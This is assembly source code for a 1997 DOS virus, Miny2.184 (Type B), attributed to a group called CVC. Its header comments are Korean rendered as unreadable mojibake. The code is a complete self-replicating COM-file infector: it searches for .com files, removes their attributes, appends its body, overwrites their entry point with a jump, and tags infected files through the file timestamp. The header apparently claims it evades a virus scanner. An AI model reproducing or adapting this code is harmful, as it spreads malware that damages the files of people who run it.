;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                                               CVC #02  97/09
; Virus Name : Miny2.184 (Type B)
; Author : Osiris
; Group : CVC
; Date : 1997/08/17
;
; Type : Non-resident COM infector
;
; Miny2 (Type A)  ea. Ae A w a  Ai 
;  ˥i aava.  A ae e i /a a
; Aᯡ ( iϡ aaa a qE wȁ) ១ae a.
;
; aqe COM ¸wai a EXE ai qqǡ ge i 奡Va.
; (:DOS 7.0  COMMAND.COM)
;
; aӡ aq {e A ea.
;
; 1. TBSCAN  wA 񬂖Ea.
; 2. COM ¸wai a EXE ai qqǥa.
;
;
;
;
;
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
            .MODEL  TINY
            .CODE

 Miny2:     nop                         ; aAt (a eea.)
            nop                         ; |  aaa aAA
            nop                         ; A  ti a.
 start:
            call  Next                  ;
 Next:      pop   bp                    ;
            sub   bp,offset Next        ; BP = aa b

            lea   si,COM_head[BP]       ;
            mov   di,100h               ; COM  |i ea.
            push  di                    ;
            movsw                       ;
            movsb                       ;

            mov   cx,0080h              ; DTA  awЁ PSP a aAAa
            mov   si,0080h              ; q wea.
            lea   di,End_Virus[BP]      ;
            repz  movsb                 ;

            mov   ah,4Eh                ; a x
            mov   cx,00100011B
            lea   dx,Match_COM[BP]
 Find:      int   21h
            jnc   ChkInfected           ;
 Restart:
            lea   si,End_Virus[BP]      ;  DTA 
            mov   di,0080h
            mov   cx,0080h
            repz  movsb
            RET

 ChkInfected:                           ; qq ai ·ea.
            mov   al,DS:[0096h]         ; 62   aea.
            and   al,1Fh
            cmp   al,1Fh
            jnz   Infect
            mov   ah,4Fh                ; aq a x
            jmp   Find
 Infect:
            mov   ax,4301h              ; /a a a
            xor   cx,cx
            mov   dx,009Eh
            int   21h
            jc    Restart               ; Aᯡ DTA ҁ a

            mov   ax,3D02h              ; a e
            int   21h

            xchg  ax,bx                 ; a Ѕi 苡

            mov   ax,5700h              ; a b e 苡
            int   21h
            push  cx                    ; b e w
            push  dx                    ;

            mov   ah,3Fh                ; | 
            lea   dx,COM_Head[BP]       ;  
            mov   cx,0003               ; 3 aa
            int   21h

            mov   al,02                 ; a {a 
            call  lseek

            sub   ax,3                  ; at e
            mov   word ptr JumpCode[BP+1],ax     ;

            mov   ah,40h                ; aa a
            mov   cx,offset End_virus - 3 - 2
            lea   dx,start[BP]
            int   21h

            mov   al,00                 ; qa 
            call  lseek

            mov   ah,40h                ; a ša a
            mov   cx,0003
            lea   dx,JumpCode[BP]
            int   21h

            pop   dx                    ; a b e 
            pop   cx                    ;
            or    cx,+1Fh               ; 62  ei
            mov   ax,5701h              ;
            int   21h

 Close:
            mov   ah,3Eh                ; a h
            int   21h
            jmp   Restart

 lseek:                                 ;
            xor   cx,cx
            xor   dx,dx
            mov   ah,42h
            int   21h
            ret

 COM_head   db    0CDh,20h,90h          ; COM |
 Match_COM  db    '*.com',00            ; COM a x
            db    'Miny2'               ;  2
 JumpCode   db    0E9h
            db    ?,?
 End_Virus:
            END   Miny2

